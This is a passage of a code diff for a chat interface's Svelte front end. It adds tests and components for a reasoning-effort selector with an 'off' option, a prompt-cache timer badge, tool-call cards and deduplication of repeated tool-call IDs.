+ render(ModelSelector, {
+ props: { models, selected: "opencode-5/deepseek-v4-flash", onSelect },
+ });
+
+ // The unavailable key is surfaced as an explicit (disabled) option + notice.
+ const keySelect = screen.getByRole("combobox", { name: "Key selector" });
+ const unavailable = within(keySelect).getByText(/OpenCode #5 \(unavailable\)/i);
+ expect(unavailable).toBeInTheDocument();
+ expect(screen.getByText(/Selected model .* unavailable/)).toBeInTheDocument();
+ // No silent switch is attempted.
+ expect(onSelect).not.toHaveBeenCalled();
+ });
});
describe("ReasoningEffortSelector", () => {
- it("renders null (never set) as the default level, marked '(default)'", () => {
- render(ReasoningEffortSelector, { props: { persisted: null, save: vi.fn() } });
+ it("renders null effort + null thinking (never set) as the default level, marked '(default)'", () => {
+ render(ReasoningEffortSelector, {
+ props: { persistedEffort: null, persistedThinking: null, save: vi.fn() },
+ });
const select = screen.getByRole("combobox", { name: "Reasoning effort" });
expect(select).toHaveValue("high");
expect(within(select).getByRole("option", { name: "high (default)" })).toBeInTheDocument();
- // All five ladder levels are offered.
- expect(within(select).getAllByRole("option")).toHaveLength(5);
+ // "Off" first, then the five ladder levels.
+ const options = within(select).getAllByRole("option");
+ expect(options).toHaveLength(6);
+ expect(options[0]).toHaveValue("off");
+ expect(within(select).getByRole("option", { name: "Off" })).toBeInTheDocument();
});
- it("renders a persisted level as selected", () => {
- render(ReasoningEffortSelector, { props: { persisted: "xhigh", save: vi.fn() } });
+ it("renders a persisted level as selected when thinking is on", () => {
+ render(ReasoningEffortSelector, {
+ props: { persistedEffort: "xhigh", persistedThinking: null, save: vi.fn() },
+ });
expect(screen.getByRole("combobox", { name: "Reasoning effort" })).toHaveValue("xhigh");
});
+ it("renders 'off' as selected when thinking is disabled (effort level is preserved but hidden)", () => {
+ // thinking off is a SEPARATE axis: even with a persisted effort level, the
+ // selector shows "off" while thinking is disabled.
+ render(ReasoningEffortSelector, {
+ props: { persistedEffort: "xhigh", persistedThinking: false, save: vi.fn() },
+ });
+
+ expect(screen.getByRole("combobox", { name: "Reasoning effort" })).toHaveValue("off");
+ // the level option is still present (restored on an off→on toggle)
+ expect(
+ within(screen.getByRole("combobox")).getByRole("option", { name: "xhigh" }),
+ ).toBeInTheDocument();
+ });
+
it("selecting a level saves it via the injected port and confirms", async () => {
- const save = vi.fn(async (level: "low" | "medium" | "high" | "xhigh" | "max") => ({
+ const save = vi.fn(async (selection: "off" | "low" | "medium" | "high" | "xhigh" | "max") => ({
ok: true as const,
- reasoningEffort: level,
+ selection,
}));
const user = userEvent.setup();
- render(ReasoningEffortSelector, { props: { persisted: null, save } });
+ render(ReasoningEffortSelector, {
+ props: { persistedEffort: null, persistedThinking: null, save },
+ });
await user.selectOptions(screen.getByRole("combobox", { name: "Reasoning effort" }), "max");
@@ -1127,11 +1638,35 @@ describe("ReasoningEffortSelector", () => {
expect(screen.getByRole("combobox", { name: "Reasoning effort" })).toHaveValue("max");
});
- it("a failed save shows the error and reverts to the persisted value", async () => {
+ it("selecting 'off' saves the separate disable signal (not a level)", async () => {
+ const save = vi.fn(async (selection: "off" | "low" | "medium" | "high" | "xhigh" | "max") => ({
+ ok: true as const,
+ selection,
+ }));
+ const user = userEvent.setup();
+
+ render(ReasoningEffortSelector, {
+ props: { persistedEffort: "high", persistedThinking: null, save },
+ });
+
+ await user.selectOptions(screen.getByRole("combobox", { name: "Reasoning effort" }), "off");
+
+ expect(save).toHaveBeenCalledTimes(1);
+ // "off" is the separate thinking-disable signal — NOT a zero-effort level.
+ expect(save).toHaveBeenCalledWith("off");
+ await vi.waitFor(() => {
+ expect(screen.getByText(/applies from the next turn/i)).toBeInTheDocument();
+ });
+ expect(screen.getByRole("combobox", { name: "Reasoning effort" })).toHaveValue("off");
+ });
+
+ it("a failed save shows the error and reverts to the persisted selection", async () => {
const save = vi.fn(async () => ({ ok: false as const, error: "nope" }));
const user = userEvent.setup();
- render(ReasoningEffortSelector, { props: { persisted: "low", save } });
+ render(ReasoningEffortSelector, {
+ props: { persistedEffort: "low", persistedThinking: null, save },
+ });
await user.selectOptions(screen.getByRole("combobox", { name: "Reasoning effort" }), "max");
@@ -1142,24 +1677,215 @@ describe("ReasoningEffortSelector", () => {
});
it("disables the select while a save is in flight (no double-fire)", async () => {
- let resolveSave: ((r: { ok: true; reasoningEffort: "max" }) => void) | undefined;
+ let resolveSave: ((r: { ok: true; selection: "max" }) => void) | undefined;
const save = vi.fn(
() =>
- new Promise<{ ok: true; reasoningEffort: "max" }>((resolve) => {
+ new Promise<{ ok: true; selection: "max" }>((resolve) => {
resolveSave = resolve;
}),
);
const user = userEvent.setup();
- render(ReasoningEffortSelector, { props: { persisted: null, save } });
+ render(ReasoningEffortSelector, {
+ props: { persistedEffort: null, persistedThinking: null, save },
+ });
await user.selectOptions(screen.getByRole("combobox", { name: "Reasoning effort" }), "max");
expect(screen.getByRole("combobox", { name: "Reasoning effort" })).toBeDisabled();
- resolveSave?.({ ok: true, reasoningEffort: "max" });
+ resolveSave?.({ ok: true, selection: "max" });
await vi.waitFor(() => {
expect(screen.getByRole("combobox", { name: "Reasoning effort" })).toBeEnabled();
});
});
});
+
+describe("ChatView — cache timer", () => {
+ const usage = { inputTokens: 1000, outputTokens: 10, cacheReadTokens: 900 };
+ function step(stepId: string) {
+ return { stepId: stepId as StepId, usage, decodeMs: 100 };
+ }
+ function turn(turnId: string, stepIds: string[] = [`${turnId}#0`]): TurnMetricsEntry {
+ const steps = stepIds.map(step);
+ return { turnId, steps, total: { turnId, usage, steps } };
+ }
+ function exchange(turnId: string, base: number): RenderedChunk[] {
+ return [
+ {
+ seq: base,
+ role: "user",
+ chunk: { type: "text", text: `q-${turnId}` },
+ provisional: false,
+ turnId,
+ },
+ {
+ seq: base + 1,
+ role: "assistant",
+ chunk: { type: "text", text: `a-${turnId}` },
+ provisional: false,
+ turnId,
+ },
+ ];
+ }
+ function toolChunk(turnId: string, stepId: string, seq: number): RenderedChunk {
+ return {
+ seq,
+ role: "assistant",
+ chunk: {
+ type: "tool-call",
+ toolCallId: `call-${stepId}`,
+ toolName: "read_file",
+ input: {},
+ stepId: stepId as StepId,
+ },
+ provisional: false,
+ turnId,
+ };
+ }
+ function state(partial: Partial<CacheTimerState>): CacheTimerState {
+ return { ...initialCacheTimerState(), ...partial };
+ }
+
+ it("renders nothing when the feature is off (cacheTimer null)", () => {
+ render(ChatView, { props: { chunks: exchange("t1", 1), turnMetrics: [turn("t1")] } });
+ expect(screen.queryByTestId("cache-timer-live")).toBeNull();
+ expect(screen.queryByTestId("cache-timer-stamp")).toBeNull();
+ });
+
+ it("shows a live timer under executing tools, counting up to 10+ min", async () => {
+ vi.useFakeTimers();
+ try {
+ const chunks = [exchange("t1", 1)[0] as RenderedChunk, toolChunk("t1", "t1#0", 2)];
+ render(ChatView, {
+ props: {
+ chunks,
+ turnMetrics: [{ turnId: "t1", steps: [step("t1#0")], total: null }],
+ cacheTimer: state({
+ running: {
+ kind: "step",
+ turnId: "t1",
+ stepId: "t1#0",
+ startedAt: Date.now(),
+ toolCount: 1,
+ pending: new Set(["call-t1#0"]),
+ maxToolMs: 0,
+ },
+ }),
+ },
+ });
+ const row = screen.getByTestId("cache-timer-tools");
+ expect(row).toHaveTextContent(/Running tools/);
+ expect(screen.getByTestId("cache-timer-live")).toHaveTextContent("0:00");
+ await vi.advanceTimersByTimeAsync(5 * 60_000 + 30_000);
+ expect(screen.getByTestId("cache-timer-live")).toHaveTextContent("5:30");
+ await vi.advanceTimersByTimeAsync(5 * 60_000);
+ expect(screen.getByTestId("cache-timer-live")).toHaveTextContent("10+ min");
+ } finally {
+ vi.useRealTimers();
+ }
+ });
+
+ it("hides the live tools row for a step with no tool calls", () => {
+ render(ChatView, {
+ props: {
+ chunks: exchange("t1", 1),
+ turnMetrics: [{ turnId: "t1", steps: [step("t1#0")], total: null }],
+ cacheTimer: state({
+ running: {
+ kind: "step",
+ turnId: "t1",
+ stepId: "t1#0",
+ startedAt: Date.now(),
+ toolCount: 0,
+ pending: new Set(),
+ maxToolMs: 0,
+ },
+ }),
+ },
+ });
+ expect(screen.queryByTestId("cache-timer-tools")).toBeNull();
+ });
+
+ it("stamps a finished step gap on that step's line, next to its cache badge", () => {
+ const chunks = [exchange("t1", 1)[0] as RenderedChunk, toolChunk("t1", "t1#0", 2)];
+ render(ChatView, {
+ props: {
+ chunks,
+ turnMetrics: [{ turnId: "t1", steps: [step("t1#0")], total: null }],
+ cacheTimer: state({ stepStamps: new Map([["t1#0", 65_000]]) }),
+ },
+ });
+ const stamp = screen.getByTestId("cache-timer-stamp");
+ expect(stamp).toHaveTextContent("1:05");
+ // Sized to match the step's (xs) cache badge.
+ expect(stamp).toHaveClass("badge-xs");
+ expect(stamp).not.toHaveClass("badge-sm");
+ // Same line as the step's cache badge.
+ expect(stamp.parentElement).toContainElement(screen.getByTestId("step-cache-badge"));
+ expect(screen.queryByTestId("cache-timer-tools")).toBeNull();
+ });
+
+ it("runs a turn gap live on that turn's row, and shows stamps on earlier turns", () => {
+ render(ChatView, {
+ props: {
+ chunks: [...exchange("t1", 1), ...exchange("t2", 3)],
+ turnMetrics: [turn("t1"), turn("t2")],
+ cacheTimer: state({
+ running: { kind: "turn", turnId: "t2", startedAt: Date.now() },
+ turnStamps: new Map([["t1", 11 * 60_000]]),
+ }),
+ },
+ });
+ const live = screen.getByTestId("cache-timer-live");
+ expect(live.closest(".chat-bubble")).toHaveTextContent(/turn 2/);
+ expect(live).toHaveClass("badge-sm");
+ const stamp = screen.getByTestId("cache-timer-stamp");
+ expect(stamp).toHaveTextContent("10+ min");
+ expect(stamp.closest(".chat-bubble")).toHaveTextContent(/turn 1/);
+ });
+
+ it("a live timer mounts without re-running its effect on a moving clock (no render stall)", async () => {
+ // Regression: the badge's effect once READ the `current` state it wrote, so
+ // with a real (always-advancing) clock it re-ran itself until Svelte threw
+ // `effect_update_depth_exceeded` — aborting the flush, so turn data showed late.
+ let calls = 0;
+ const now = () => {
+ calls++;
+ return 1_000_000 + calls;
+ };
+ render(CacheTimerBadge, { props: { since: 1_000_000, now } });
+ await new Promise((r) => setTimeout(r, 20));
+ expect(calls).toBeLessThan(5);
+ expect(screen.getByTestId("cache-timer-live")).toHaveTextContent("0:00");
+ });
+
+ it("renders the turn's metrics alongside a live turn timer", () => {
+ render(ChatView, {
+ props: {
+ chunks: exchange("t1", 1),
+ turnMetrics: [turn("t1")],
+ cacheTimer: state({ running: { kind: "turn", turnId: "t1", startedAt: Date.now() } }),
+ },
+ });
+ expect(screen.getByText(/turn 1 · 10 tok out/)).toBeInTheDocument();
+ expect(screen.getByText("a-t1")).toBeInTheDocument();
+ expect(screen.getByTestId("cache-timer-live")).toHaveTextContent(/^0:00$/);
+ });
+
+ it("puts a SEEDED turn gap (no turnId) on the most recent turn's row", () => {
+ render(ChatView, {
+ props: {
+ chunks: [...exchange("t1", 1), ...exchange("t2", 3)],
+ turnMetrics: [turn("t1"), turn("t2")],
+ cacheTimer: state({
+ running: { kind: "turn", turnId: null, startedAt: Date.now() - 2 * 60_000 },
+ }),
+ },
+ });
+ const badges = screen.getAllByTestId("cache-timer-live");
+ expect(badges).toHaveLength(1);
+ expect(badges[0]).toHaveTextContent("2:00");
+ expect(badges[0]?.closest(".chat-bubble")).toHaveTextContent(/turn 2/);
+ });
+});
diff --git a/src/features/chat/ui/CacheTimerBadge.svelte b/src/features/chat/ui/CacheTimerBadge.svelte
new file mode 100644
index 0000000..9e6f96d
--- /dev/null
+++ b/src/features/chat/ui/CacheTimerBadge.svelte
@@ -0,0 +1,70 @@
+<script lang="ts">
+ /**
+ * One cache-timer badge. LIVE when given `since` (counts up from that epoch
+ * ms, ticking once a second, and stops ticking at the 10-minute cap); STAMPED
+ * when given `elapsedMs` (a finished gap — static). Formatting lives in
+ * `core/metrics` (`viewCacheTimer`). Owning the tick here means only this
+ * badge re-renders each second, not the transcript.
+ */
+ import { untrack } from "svelte";
+ import { CACHE_TIMER_MAX_MS, viewCacheTimer } from "../../../core/metrics";
+
+ let {
+ since,
+ elapsedMs,
+ size = "sm",
+ now = Date.now,
+ }: {
+ /** Live: epoch ms the gap started. */
+ since?: number;
+ /** Stamped: the gap's final duration (wins over `since`). */
+ elapsedMs?: number;
+ /** Badge size — match the neighbouring cache badge (`xs` on step lines). */
+ size?: "xs" | "sm";
+ /** Wall clock (injected for tests). */
+ now?: () => number;
+ } = $props();
+
+ // Initial read only (the effect below keeps it current while live).
+ let current = $state(untrack(() => now()));
+
+ // Depends ONLY on `since`/`elapsedMs`/`now`. It must never READ `current`
+ // (it writes it): reading its own write makes the effect re-run itself on
+ // every clock change → `effect_update_depth_exceeded`, which aborts the whole
+ // reactive flush and stalls the transcript (turn data rendering late).
+ $effect(() => {
+ if (elapsedMs !== undefined || since === undefined) return;
+ const start = since;
+ const clock = now;
+ const t0 = clock();
+ current = t0;
+ if (t0 - start >= CACHE_TIMER_MAX_MS) return;
+ const id = setInterval(() => {
+ const t = clock();
+ current = t;
+ if (t - start >= CACHE_TIMER_MAX_MS) clearInterval(id);
+ }, 1000);
+ return () => clearInterval(id);
+ });
+
+ const badgeClass = {
+ success: "badge-success",
+ warning: "badge-warning",
+ error: "badge-error",
+ } as const;
+
+ const live = $derived(elapsedMs === undefined);
+ const view = $derived(viewCacheTimer(elapsedMs ?? current - (since ?? current)));
+</script>
+
+<span
+ class="badge font-mono tabular-nums {badgeClass[view.level]}"
+ class:badge-xs={size === "xs"}
+ class:badge-sm={size === "sm"}
+ class:badge-outline={!live}
+ title={live
+ ? "Cache timer (running): time since the last model request. The Claude prompt cache expires after 5 minutes idle."
+ : "Cache timer (stopped): how long the cache sat idle before the next request. The Claude prompt cache expires after 5 minutes idle."}
+ data-testid={live ? "cache-timer-live" : "cache-timer-stamp"}
+ >{view.label}</span
+>
diff --git a/src/features/chat/ui/ChatView.svelte b/src/features/chat/ui/ChatView.svelte
index e67ca5b..84e66d8 100644
--- a/src/features/chat/ui/ChatView.svelte
+++ b/src/features/chat/ui/ChatView.svelte
@@ -2,14 +2,19 @@
import type { TurnProviderRetryEvent } from "@dispatch/wire";
import { groupRenderedChunks, resolveImageUrl, type RenderedChunk, viewProviderRetry } from "../index";
import {
+ type CacheTimerState,
interleaveTurnMetrics,
+ lastTurnRowIndex,
viewCacheRate,
viewExpectedCache,
viewStepMetrics,
viewTurnMetrics,
type TurnMetricsEntry,
} from "../../../core/metrics";
- import { Markdown } from "../../markdown";
+ import { Markdown, type TextFileClient } from "../../markdown";
+ import CacheTimerBadge from "./CacheTimerBadge.svelte";
+ import LazyCollapse from "./LazyCollapse.svelte";
+ import ToolCard from "./ToolCard.svelte";
const badgeClass = {
success: "badge-success",
@@ -19,14 +24,19 @@
let {
chunks,
+ recovering = false,
turnMetrics = [],
hasEarlier = false,
onShowEarlier,
thinkingKeyBase = 0,
providerRetry = null,
apiBaseUrl = "",
+ cwd = null,
+ textFiles = undefined,
+ cacheTimer = null,
}: {
chunks: readonly RenderedChunk[];
+ recovering?: boolean;
turnMetrics?: readonly TurnMetricsEntry[];
/** Earlier history is unloaded (chat limit) and can be paged back in. */
hasEarlier?: boolean;
@@ -53,10 +63,27 @@
* "" (root-relative — a browser resolves `/images/…` against its origin).
*/
apiBaseUrl?: string;
+ /**
+ * The active conversation's working directory (null when unset). Relative
+ * Markdown image srcs (`![x](shot.png)`) resolve against it; local absolute
+ * and `file://` paths do not need it. Passed to `Markdown` with `apiBaseUrl`.
+ */
+ cwd?: string | null;
+ /** Context-bound, injected live-file display port (never model history). */
+ textFiles?: TextFileClient | undefined;
+ /**
+ * The cache timer (gaps between model requests): a running step gap shows
+ * live at the bottom (under the executing tools), a running turn gap live
+ * on that turn's metrics row; finished gaps are stamped on their step /
+ * turn metrics line. `null` (the default) hides it entirely — the caller
+ * gates on the model.
+ */
+ cacheTimer?: CacheTimerState | null;
} = $props();
// True while a show-earlier page-in is awaited (disables the button).
let loadingEarlier = $state(false);
+ let failedImages = $state<string[]>([]);
async function showEarlier() {
if (!onShowEarlier || loadingEarlier) return;
@@ -68,10 +95,36 @@
}
}
- const groups = $derived(groupRenderedChunks(chunks));
+ const groups = $derived(groupRenderedChunks(chunks, recovering));
const rows = $derived(interleaveTurnMetrics(groups, turnMetrics));
+ // A SEEDED turn gap (no turnId — e.g. after a reload) renders on the most
+ // recent turn's row (when no user message follows it).
+ const seededTurnRow = $derived(
+ cacheTimer?.running?.kind === "turn" && cacheTimer.running.turnId === null
+ ? lastTurnRowIndex(rows)
+ : null,
+ );
+
+ /** Start of the running turn gap if it belongs on this turn row, else undefined. */
+ function liveTurnSince(turnId: string, rowIndex: number): number | undefined {
+ const r = cacheTimer?.running;
+ if (r?.kind !== "turn") return undefined;
+ if (r.turnId === turnId || (r.turnId === null && rowIndex === seededTurnRow)) {
+ return r.startedAt;
+ }
+ return undefined;
+ }
+
+ // A running step gap with tool calls → the live timer under the executing tools.
+ const liveStepGap = $derived(
+ cacheTimer?.running?.kind === "step" && cacheTimer.running.toolCount > 0
+ ? cacheTimer.running
+ : null,
+ );
+
+ // Tool cards use toolCallId keys across pending/result/seal and orphan page-in.
// Stable per-row keys. Thinking blocks get an ordinal key (`think<n>`) that
// survives the provisional→committed (seq null → seq N) transition, so the
// collapse's open/close state is NOT lost when a turn seals. The ordinal
@@ -88,8 +141,8 @@
}
const group = row.group;
let key: string;
- if (group.kind === "tool-batch") {
- key = `b${group.stepId}`;
+ if (group.kind === "tool") {
+ key = `t${group.entry.toolCallId}`;
} else if (group.chunk.chunk.type === "thinking") {
key = `think${thinking++}`;
} else if (group.chunk.seq != null) {
@@ -102,6 +155,12 @@
});
</script>
+{#if recovering}
+ <p role="status" class="px-4 py-2 text-sm text-base-content/70">
+ Recovering conversation history… Omitted tool input/output is unavailable until persisted.
+ </p>
+{/if}
+
{#snippet chunkRow(rendered: RenderedChunk)}
{#if rendered.role === "user"}
<!-- User: a speech bubble, left-aligned. A user message may be multi-chunk
@@ -114,13 +173,22 @@
{#if rendered.chunk.type === "text"}
<p>{rendered.chunk.text}</p>
{:else if rendered.chunk.type === "image"}
- <img
- src={resolveImageUrl(rendered.chunk.url, apiBaseUrl)}
- alt={rendered.chunk.mimeType ?? "pasted image"}
- loading="lazy"
- decoding="async"
- class="max-h-80 max-w-full rounded"
- />
+ {#if failedImages.includes(rendered.chunk.url)}
+ <span class="text-sm opacity-70">image expired</span>
+ {:else}
+ <img
+ src={resolveImageUrl(rendered.chunk.url, apiBaseUrl)}
+ alt={rendered.chunk.mimeType ?? "pasted image"}
+ loading="lazy"
+ decoding="async"
+ onerror={() => {
+ if (rendered.chunk.type === "image" && rendered.chunk.url.startsWith("/images/")) {
+ failedImages = [...failedImages, rendered.chunk.url];
+ }
+ }}
+ class="max-h-80 max-w-full rounded"
+ />
+ {/if}
{/if}
</div>
</div>
@@ -130,83 +198,15 @@
while generating, then "Thoughts" with no dots once complete. -->
<div class="chat chat-start [&>.chat-bubble]:max-w-5xl [&>.chat-bubble]:p-0">
<div class="chat-bubble w-full bg-transparent">
- <div class="collapse w-full rounded-box bg-base-200 text-sm">
- <input type="checkbox" aria-label="Toggle thoughts" />
- <div class="collapse-title flex min-h-0 items-center gap-2 py-2 font-medium">
+ <LazyCollapse label="Toggle thoughts">
+ {#snippet title()}
<span>{rendered.streaming ? "Thinking" : "Thoughts"}</span>
{#if rendered.streaming}
<span class="loading loading-dots loading-sm" aria-label="Generating"></span>
{/if}
- </div>
- <div class="collapse-content">
- <p class="whitespace-pre-wrap">{rendered.chunk.text}</p>
- </div>
- </div>
- </div>
- </div>
- {:else if rendered.chunk.type === "tool-call" || rendered.chunk.type === "tool-result"}
- <!-- Single tool call/result: a collapsible card (collapsed by default,
- like thinking). Title shows the tool name; content shows the
- input/output. Same chat-start grid shim as the thinking block. -->
- <div class="chat chat-start [&>.chat-bubble]:max-w-5xl [&>.chat-bubble]:p-0">
- <div class="chat-bubble w-full bg-transparent">
- {#if rendered.chunk.type === "tool-call"}
- <div class="collapse w-full rounded-box bg-base-200 text-sm">
- <input type="checkbox" aria-label="Toggle tool call" />
- <div class="collapse-title flex min-h-0 items-center gap-2 py-2 font-medium">
- <svg
- class="h-4 w-4 opacity-60"
- xmlns="http://www.w3.org/2000/svg"
- viewBox="0 0 24 24"
- fill="none"
- stroke="currentColor"
- stroke-width="2"
- stroke-linecap="round"
- stroke-linejoin="round"
- ><path
- d="M14.7 6.3a1 1 0 0 0 0 1.4l1.6 1.6a1 1 0 0 0 1.4 0l3.77-3.77a6 6 0 0 1-7.94 7.94l-6.91 6.91a2.12 2.12 0 0 1-3-3l6.91-6.91a6 6 0 0 1 7.94-7.94l-3.76 3.76z"
- /></svg
- >
- <span>{rendered.chunk.toolName}</span>
- </div>
- <div class="collapse-content">
- <pre class="overflow-x-auto text-xs">{JSON.stringify(
- rendered.chunk.input,
- null,
- 2,
- )}</pre>
- </div>
- </div>
- {:else}
- <div class="collapse w-full rounded-box bg-base-200 text-sm">
- <input type="checkbox" aria-label="Toggle tool result" />
- <div
- class="collapse-title flex min-h-0 items-center gap-2 py-2 font-medium"
- class:text-error={rendered.chunk.isError}
- >
- <svg
- class="h-4 w-4 opacity-60"
- xmlns="http://www.w3.org/2000/svg"
- viewBox="0 0 24 24"
- fill="none"
- stroke="currentColor"
- stroke-width="2"
- stroke-linecap="round"
- stroke-linejoin="round"
- ><path
- d="M14.7 6.3a1 1 0 0 0 0 1.4l1.6 1.6a1 1 0 0 0 1.4 0l3.77-3.77a6 6 0 0 1-7.94 7.94l-6.91 6.91a2.12 2.12 0 0 1-3-3l6.91-6.91a6 6 0 0 1 7.94-7.94l-3.76 3.76z"
- /></svg
- >
- <span>{rendered.chunk.toolName}</span>
- {#if rendered.chunk.isError}
- <span class="badge badge-error badge-xs">error</span>
- {/if}
- </div>
- <div class="collapse-content">
- <pre class="max-h-96 overflow-auto text-xs">{rendered.chunk.content}</pre>
- </div>
- </div>
- {/if}
+ {/snippet}
+ <p class="whitespace-pre-wrap">{rendered.chunk.type === "thinking" ? rendered.chunk.text : ""}</p>
+ </LazyCollapse>
</div>
</div>
{:else}
@@ -215,7 +215,12 @@
<div class="chat chat-start [&>.chat-bubble]:max-w-5xl">
<div class="chat-bubble w-full bg-transparent">
{#if rendered.chunk.type === "text"}
- <Markdown text={rendered.chunk.text} streaming={rendered.streaming ?? false} />
+ <Markdown
+ text={rendered.chunk.text}
+ streaming={rendered.streaming ?? false}
+ image={{ apiBase: apiBaseUrl, cwd }}
+ {textFiles}
+ />
{:else if rendered.chunk.type === "error"}
<div class="text-error" role="alert">
{rendered.chunk.message}
@@ -245,17 +250,33 @@
</button>
</div>
{/if}
- {#each keyedRows as { row, key } (key)}
+ {#each keyedRows as { row, key }, i (key)}
+ <!-- `.chat-row`: content-visibility:auto — the browser skips layout/paint
+ for rows outside the viewport (see app.css). -->
+ <div class="chat-row">
{#if row.kind === "step-metrics"}
{@const sv = viewStepMetrics(row.step, row.index)}
+ {@const stepCache = viewCacheRate(row.step.usage)}
+ {@const stepStamp = cacheTimer?.stepStamps.get(row.step.stepId)}
<div class="chat chat-start">
<div class="chat-bubble w-full max-w-5xl bg-transparent p-0">
- <div class="text-xs opacity-70">
- {sv.label} · {sv.tokensLabel}
- {#if sv.tps}
- · {sv.tps}{/if}
- {#if sv.genTotal}
- · {sv.genTotal}{/if}
+ <div class="flex flex-wrap items-center gap-x-1 text-xs">
+ <span class="opacity-70">
+ {sv.label} · {sv.tokensLabel}
+ {#if sv.tps}
+ · {sv.tps}{/if}
+ {#if sv.ttft}
+ · {sv.ttft} to first token{/if}
+ ·
+ </span>
+ <span class="opacity-70">cache:</span>
+ <span
+ class="badge badge-xs {badgeClass[stepCache.level]}"
+ data-testid="step-cache-badge">{stepCache.pct}%</span
+ >
+ {#if stepStamp !== undefined}
+ <CacheTimerBadge elapsedMs={stepStamp} size="xs" />
+ {/if}
</div>
</div>
</div>
@@ -263,12 +284,14 @@
{@const turnView = viewTurnMetrics(row.turn, row.turnNumber)}
{@const lastCache = viewCacheRate(row.turn.usage)}
{@const chatCache = viewCacheRate(row.cumulativeUsage)}
- {@const retention = viewExpectedCache(row.turn.usage, row.prevTurnUsage)}
+ {@const retention = viewExpectedCache(row.turn.steps[0]?.usage, row.prevLastStepUsage)}
+ {@const turnLive = liveTurnSince(row.turn.turnId, i)}
+ {@const turnStamp = cacheTimer?.turnStamps.get(row.turn.turnId)}
<div class="chat chat-start">
<div class="chat-bubble w-full max-w-5xl bg-transparent p-0">
<div class="flex flex-col gap-1 text-xs">
<div class="opacity-70">
- {turnView.label} · {turnView.tokensLabel} ({turnView.breakdown})
+ {turnView.label} · {turnView.tokensLabel} · {turnView.breakdown}
{#if turnView.tps}
· {turnView.tps}{/if}
{#if turnView.duration}
@@ -289,6 +312,11 @@
<span class="badge badge-sm {badgeClass[retention.level]}">{retention.pct}%</span>
</span>
{/if}
+ {#if turnLive !== undefined}
+ <CacheTimerBadge since={turnLive} />
+ {:else if turnStamp !== undefined}
+ <CacheTimerBadge elapsedMs={turnStamp} />
+ {/if}
</div>
</div>
</div>
@@ -296,54 +324,27 @@
{:else if row.group.kind === "single"}
{@render chunkRow(row.group.chunk)}
{:else}
- <!-- Batched tool calls (one step): each entry is a collapsible card.
- Click to expand and see the input/output. -->
- <div class="chat chat-start [&>.chat-bubble]:max-w-5xl [&>.chat-bubble]:p-0">
- <div class="chat-bubble w-full bg-transparent">
- <div class="flex flex-col gap-1">
- {#each row.group.entries as entry (entry.call.toolCallId)}
- <div class="collapse w-full rounded-box bg-base-200 text-sm">
- <input type="checkbox" aria-label="Toggle tool call" />
- <div class="collapse-title flex min-h-0 items-center gap-2 py-2 font-medium">
- <svg
- class="h-4 w-4 opacity-60"
- xmlns="http://www.w3.org/2000/svg"
- viewBox="0 0 24 24"
- fill="none"
- stroke="currentColor"
- stroke-width="2"
- stroke-linecap="round"
- stroke-linejoin="round"
- ><path
- d="M14.7 6.3a1 1 0 0 0 0 1.4l1.6 1.6a1 1 0 0 0 1.4 0l3.77-3.77a6 6 0 0 1-7.94 7.94l-6.91 6.91a2.12 2.12 0 0 1-3-3l6.91-6.91a6 6 0 0 1 7.94-7.94l-3.76 3.76z"
- /></svg
- >
- <span>{entry.call.toolName}</span>
- {#if entry.result?.isError}
- <span class="badge badge-error badge-xs">error</span>
- {:else if entry.result === null}
- <span class="loading loading-spinner loading-xs" aria-label="Running"></span>
- {/if}
- </div>
- <div class="collapse-content">
- <pre class="overflow-x-auto text-xs">{JSON.stringify(
- entry.call.input,
- null,
- 2,
- )}</pre>
- {#if entry.result}
- <pre
- class="mt-1 max-h-96 overflow-auto text-xs"
- class:text-error={entry.result.isError}>{entry.result.content}</pre>
- {/if}
- </div>
- </div>
- {/each}
- </div>
+ <!-- Each call owns one bubble; the matching result is folded into its card. -->
+ <div class="chat chat-start [grid-template-columns:auto_minmax(0,1fr)] [&>.chat-bubble]:max-w-5xl [&>.chat-bubble]:p-0">
+ <div class="chat-bubble min-w-0 w-full bg-transparent">
+ <ToolCard entry={row.group.entry} />
</div>
</div>
{/if}
+ </div>
{/each}
+ {#if liveStepGap}
+ <!-- Live cache timer while the last step's tools execute; stamped onto that
+ step's metrics line once they return (or the next step starts). -->
+ <div class="chat chat-start">
+ <div class="chat-bubble w-full max-w-5xl bg-transparent p-0">
+ <div class="flex items-center gap-1 text-xs" data-testid="cache-timer-tools">
+ <span class="opacity-70">Running tools</span>
+ <CacheTimerBadge since={liveStepGap.startedAt} size="xs" />
+ </div>
+ </div>
+ </div>
+ {/if}
{#if providerRetry}
{@const rv = viewProviderRetry(providerRetry)}
<!-- Transient yellow warning: a provider error is being retried with backoff.
diff --git a/src/features/chat/ui/ChatView.test.ts b/src/features/chat/ui/ChatView.test.ts
new file mode 100644
index 0000000..157ccac
--- /dev/null
+++ b/src/features/chat/ui/ChatView.test.ts
@@ -0,0 +1,558 @@
+import type { StepId } from "@dispatch/wire";
+import { fireEvent, render, screen } from "@testing-library/svelte";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it } from "vitest";
+import type { RenderedChunk } from "../../../core/chunks";
+import ChatView from "./ChatView.svelte";
+
+/** Collapsed card bodies render lazily — open every card so its body mounts. */
+async function openAllCollapses(container: HTMLElement): Promise<void> {
+ const boxes = container.querySelectorAll<HTMLInputElement>('.collapse > input[type="checkbox"]');
+ for (const box of boxes) {
+ if (!box.checked) await userEvent.click(box);
+ }
+}
+
+// Defensive rendering: a conversation transcript can contain duplicate
+// `toolCallId`s (persisted provider double-emission). The
+// grouped render path MUST dedupe them so the keyed {#each} never throws
+// Svelte `each_key_duplicate` (which aborts the reactive flush and makes the
+// tab appear dead). See fix-toolcall-duplicate-keys plan Part 1.
+describe("ChatView — duplicate toolCallIds", () => {
+ it("renders duplicated toolCallIds without throwing, showing one bubble per unique call", async () => {
+ const chunks: RenderedChunk[] = [
+ {
+ seq: 1,
+ role: "assistant",
+ chunk: {
+ type: "tool-call",
+ toolCallId: "a",
+ toolName: "read_file",
+ input: { path: "/a" },
+ stepId: "t1#0" as StepId,
+ },
+ provisional: false,
+ },
+ {
+ seq: 2,
+ role: "assistant",
+ chunk: {
+ type: "tool-call",
+ toolCallId: "b",
+ toolName: "list_dir",
+ input: { path: "/b" },
+ stepId: "t1#0" as StepId,
+ },
+ provisional: false,
+ },
+ // The duplicate-emission pattern: the same ids re-emitted immediately after.
+ {
+ seq: 3,
+ role: "assistant",
+ chunk: {
+ type: "tool-call",
+ toolCallId: "a",
+ toolName: "read_file",
+ input: { path: "/a" },
+ stepId: "t1#0" as StepId,
+ },
+ provisional: false,
+ },
+ {
+ seq: 4,
+ role: "assistant",
+ chunk: {
